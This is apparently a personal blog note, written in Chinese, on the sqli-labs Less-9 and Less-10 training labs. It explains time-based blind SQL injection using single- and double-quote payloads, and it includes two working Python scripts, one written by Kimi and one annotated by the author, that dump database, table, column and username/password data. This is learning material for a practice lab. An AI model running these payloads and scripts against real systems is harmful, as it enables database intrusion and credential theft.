note-06

sql-labs-less9

题目说了是单引号闭合,然后怎么尝试都返回

You are in………..

没有登录是否成功回显,没有sql报错回显
意思就是只能用时间延迟来判断注入是否正确,无法像less8能用respond长度来判断是否正确了
使用

1
2
3
4
sleep()

if
and

来构造payload,例如:

1
?id=1' and if(substr(database(),1,1)='s',1,sleep(2)) --+

意思是如果数据库第一个字符为’s’,则返回1(true),否则则延迟回显
基于此原理

KIMI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import time

ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789_@.-"
SLEEP_TIME = 1
URL = "http://sqli-labs.com/Less-9/?id=1' and substr(({sql}),{position},1)='{char}' and sleep({time})--+"

def inject(path):
start = time.time()
response = requests.get(path)
end = time.time()
if response.status_code == 200 and end - start > SLEEP_TIME:
return True
else:
return False

def extract_data(sql):
s = ""
position = 0
while True:
position += 1
# 判断是否为空
res = inject(URL.format(sql=sql, position=position, char="", time=SLEEP_TIME))
if res:
break
# 尝试每个字符
for char in ALPHABET:
res = inject(URL.format(sql=sql, position=position, char=char, time=SLEEP_TIME))
if res:
s += char
break
return s

# 获取数据库名
print(extract_data("database()"))

# 获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))

# 获取字段名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))

# 获取用户名和密码
print(extract_data("select group_concat(username,'~',password) from users"))

叫kimi加了注释,自己小改了一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests  # 导入requests库,用于发送HTTP请求
import time # 导入time库,用于测量时间延迟

# 定义一个包含可能字符的字符串,用于猜测数据库、表和字段的名称
ALPHABET = ",abcdefghijklmnopqrstuvwxyz0123456789_@.-"

# 定义一个时间延迟,用于判断是否存在SQL注入
SLEEP_TIME = 1

# 定义目标URL,其中包含一个SQL注入的payload模板
# {sql}:表示要执行的SQL查询
# {position}:表示当前猜测的字符位置
# {char}:表示当前猜测的字符
# {time}:表示延迟时间
URL = "http://localhost/sqli-labs/Less-9/?id=1' and if(substr(({sql}),{position},1)='{char}',sleep({time}),1)--+"

# 定义一个函数,用于发送HTTP请求并判断是否存在延迟
def inject(path):
start = time.time() # 记录请求开始时间
response = requests.get(path) # 发送HTTP GET请求
end = time.time() # 记录请求结束时间
# 如果响应状态码为200且响应时间超过预设的延迟时间,则认为存在SQL注入
if response.status_code == 200 and end - start > SLEEP_TIME:
return True
else:
return False

# 定义一个函数,用于提取数据库、表、字段或数据
def extract_data(sql):
s = "" # 初始化一个空字符串,用于存储结果
position = 0 # 初始化字符位置计数器
while True:
position += 1 # 每次循环增加字符位置
# 尝试猜测当前字符位置是否为空
res = inject(URL.format(sql=sql, position=position, char="", time=SLEEP_TIME))
if res:
break # 如果为空,退出循环
# 遍历所有可能的字符
for char in ALPHABET:
# 构造完整的URL并发送请求
res = inject(URL.format(sql=sql, position=position, char=char, time=SLEEP_TIME))
if res:
s += char # 如果猜测正确,将字符添加到结果字符串中
break # 退出循环,继续下一个字符
return s # 返回最终结果字符串

# 获取数据库名
database = extract_data("database()")
print(database) # 调用extract_data函数,传入SQL查询语句获取数据库名

# 获取表名
tables = extract_data("select group_concat(table_name) from information_schema.tables where table_schema='%s'" % database)
print(tables)

# 获取字段名
columns = extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'")
print(columns)

# 获取用户名和密码,可以替换自己想要的表名
#all = extract_data("select group_concat(id,username,password) from users")
#print(all)

我发现把逗号放最前面就不容易丢逗号了。

less10

就是把less9的单引号闭合改为双引号闭合:

1
?id=1" and if(substr(database(),1,1)='s',1,sleep(2)) --+

note-06
https://aidemofashi.github.io/2025/03/05/note-06/
作者
aidemofashi
发布于
2025年3月5日
许可协议